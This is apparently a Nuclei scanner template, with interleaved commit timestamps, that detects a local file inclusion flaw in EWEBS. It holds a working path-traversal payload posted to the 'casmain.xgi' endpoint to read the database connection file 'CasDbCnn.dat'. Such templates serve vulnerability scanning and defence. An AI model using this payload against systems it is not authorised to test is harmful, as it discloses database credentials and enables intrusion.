2021-08-12 11:41:02 +00:00
id : ewebs-arbitrary-file-reading
info :
2022-07-27 20:17:31 +00:00
name : EWEBS - Local File Inclusion
2021-08-12 11:41:02 +00:00
author : pikpikcu
severity : high
2022-07-27 20:17:31 +00:00
description : EWEBS is vulnerable to local file inclusion and allows remote attackers to disclose the content of locally stored files via the 'Language_S' parameter supplied to the 'casmain.xgi' endpoint.
2022-04-22 10:38:41 +00:00
reference :
- http://wiki.peiqi.tech/PeiQi_Wiki/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/%E6%9E%81%E9%80%9AEWEBS/%E6%9E%81%E9%80%9AEWEBS%20casmain.xgi%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.html
2022-07-27 20:17:31 +00:00
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score : 7.5
cwe-id : CWE-22
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-10-14 11:27:55 +00:00
tags : ewebs,lfi
2021-08-12 11:41:02 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-08-12 11:41:02 +00:00
- method : POST
path :
- '{{BaseURL}}/casmain.xgi'
2023-10-14 11:27:55 +00:00
2021-08-12 11:41:02 +00:00
headers :
Content-Type : application/x-www-form-urlencoded
body : "Language_S=../../Data/CONFIG/CasDbCnn.dat"
matchers-condition : and
matchers :
- type : word
words :
- "[Edition]"
2021-08-12 12:49:22 +00:00
- "[LocalInfo]"
2021-08-12 11:41:02 +00:00
condition : and
part : body
2021-08-12 12:49:22 +00:00
2021-08-12 11:41:02 +00:00
- type : status
status :
- 200
2023-10-20 11:41:13 +00:00
# digest: 4a0a004730450221009cefd953df4c4dbdb8aa5d750d29300d058b04a8de1f82bd24080df6a62a27b2022040f1e9c41437081b063fa825a3a5889e9b3c460c778d251f30973a1a5b797ddf:922c64590222798bb761d5b6d8e72950